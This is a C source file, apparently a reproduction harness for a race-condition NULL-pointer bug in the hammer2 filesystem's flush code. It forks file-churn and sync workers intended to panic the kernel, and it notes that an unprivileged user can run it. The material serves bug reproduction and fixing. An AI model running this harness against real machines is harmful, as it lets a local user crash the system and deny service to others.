DF-0813 / churn_h2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | /* * DF-0813 hammer2 flush NULL-deref churn harness. * * Bug: sys/vfs/hammer2/hammer2_flush.c:397-406 retry loop. When a concurrent * unlink/delete sets chain->parent=NULL during flush_core's unlock window * (hammer2_flush.c:662 unlock -> 665 relock; chain->parent nulled at * hammer2_chain.c:3559 under core.spin), flush_core returns retry=1. Back in * the loop at :397 info.parent(non-NULL) != chain->parent(NULL), so the body * runs: :403 drop old info.parent (safe), :404 info.parent=NULL, :405 * hammer2_chain_ref(NULL) -> atomic_fetchadd_int(&NULL->refs,1) -> NULL-deref * panic. * * This harness drives the concurrent (heavy modify/unlink) + (sync) churn that * opens that race on a mounted hammer2 filesystem. It is probabilistic: the * race is tight, so we run many workers for a while. A panic in boot.log * (fatal trap 12 in hammer2_chain_ref / hammer2_flush) confirms reproduction. * * Run as an unprivileged user with write access to a hammer2 mount, e.g.: * H2DIR=/mnt/h2 ./churn_h2 */ #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <time.h> #include <signal.h> #define DEFAULT_DIR "/mnt/h2" #define DEFAULT_WORKERS 6 #define DEFAULT_SECS 60 static volatile sig_atomic_t g_run = 1; static void h(int s){ (void)s; g_run=0; } static double now(void){ struct timespec ts; clock_gettime(CLOCK_MONOTONIC,&ts); return ts.tv_sec + ts.tv_nsec/1e9; } /* Writer/unlinker worker: create many small files, write, unlink, repeat. */ static void worker_io(const char *dir, int id){ char path[256]; char buf[4096]; memset(buf, 'A'+(id%26), sizeof(buf)); unsigned long iter=0; while (g_run){ /* batch create + write */ int batch = 20 + (id*7 % 30); for (int i=0;i<batch && g_run;i++){ snprintf(path,sizeof(path),"%s/w%d_%lu_%d",dir,id,iter,i); int fd=open(path,O_WRONLY|O_CREAT|O_TRUNC,0644); if (fd<0){ if(errno==ENOSPC) break; continue; } /* multiple writes to dirty inode/block tables */ for (int w=0; w<4; w++) write(fd,buf,sizeof(buf)); fsync(fd); close(fd); } /* batch unlink (this drives chain_delete_helper -> parent=NULL) */ for (int i=0;i<batch && g_run;i++){ snprintf(path,sizeof(path),"%s/w%d_%lu_%d",dir,id,iter,i); unlink(path); } iter++; /* occasional rename to churn the topology */ if ((iter & 3)==0){ snprintf(path,sizeof(path),"%s/w%d_%lu_r",dir,id,iter); int fd=open(path,O_WRONLY|O_CREAT|O_TRUNC,0644); if(fd>=0){ write(fd,buf,sizeof(buf)); close(fd); } char p2[256]; snprintf(p2,sizeof(p2),"%s/w%d_%lu_r2",dir,id,iter); rename(path,p2); unlink(p2); } } fprintf(stderr,"[io %d] done after %lu iters\n",id,iter); } /* Syncer worker: hammer the flush path repeatedly. */ static void worker_sync(const char *dir, int id){ unsigned long n=0; while (g_run){ sync(); /* also fsync the mountpoint dir to force inode flush */ int fd=open(dir,O_RDONLY|O_DIRECTORY); if (fd>=0){ fsync(fd); close(fd); } n++; if ((n & 0x3ff)==0) usleep(100); } fprintf(stderr,"[sync %d] done after %lu syncs\n",id,n); } int main(int argc, char **argv){ const char *dir = getenv("H2DIR"); if(!dir) dir=DEFAULT_DIR; int nio = getenv("NIO")?atoi(getenv("NIO")):DEFAULT_WORKERS; int nsync = getenv("NSYNC")?atoi(getenv("NSYNC")):2; int secs = getenv("SECS")?atoi(getenv("SECS")):DEFAULT_SECS; if (argc>1) dir=argv[1]; if (argc>2) secs=atoi(argv[2]); /* sanity */ if (access(dir,W_OK)<0){ perror(dir); return 2; } signal(SIGTERM,h); signal(SIGINT,h); double t0=now(); fprintf(stderr,"DF-0813 churn: dir=%s nio=%d nsync=%d secs=%d\n", dir,nio,nsync,secs); pid_t kids[64]; int nk=0; for (int i=0;i<nio && nk<64;i++){ pid_t p=fork(); if(p==0){ worker_io(dir,i); _exit(0); } if(p>0) kids[nk++]=p; } for (int i=0;i<nsync && nk<64;i++){ pid_t p=fork(); if(p==0){ worker_sync(dir,i); _exit(0); } if(p>0) kids[nk++]=p; } /* parent: timer */ while (g_run && (now()-t0)<secs) sleep(1); g_run=0; for (int i=0;i<nk;i++) kill(kids[i],SIGTERM); for (int i=0;i<nk;i++){ int st; waitpid(kids[i],&st,0); } fprintf(stderr,"DF-0813 churn: finished %d s, %d workers. If the kernel " "panicked during this run (check boot.log), reproduction confirmed.\n", secs,nk); return 0; } |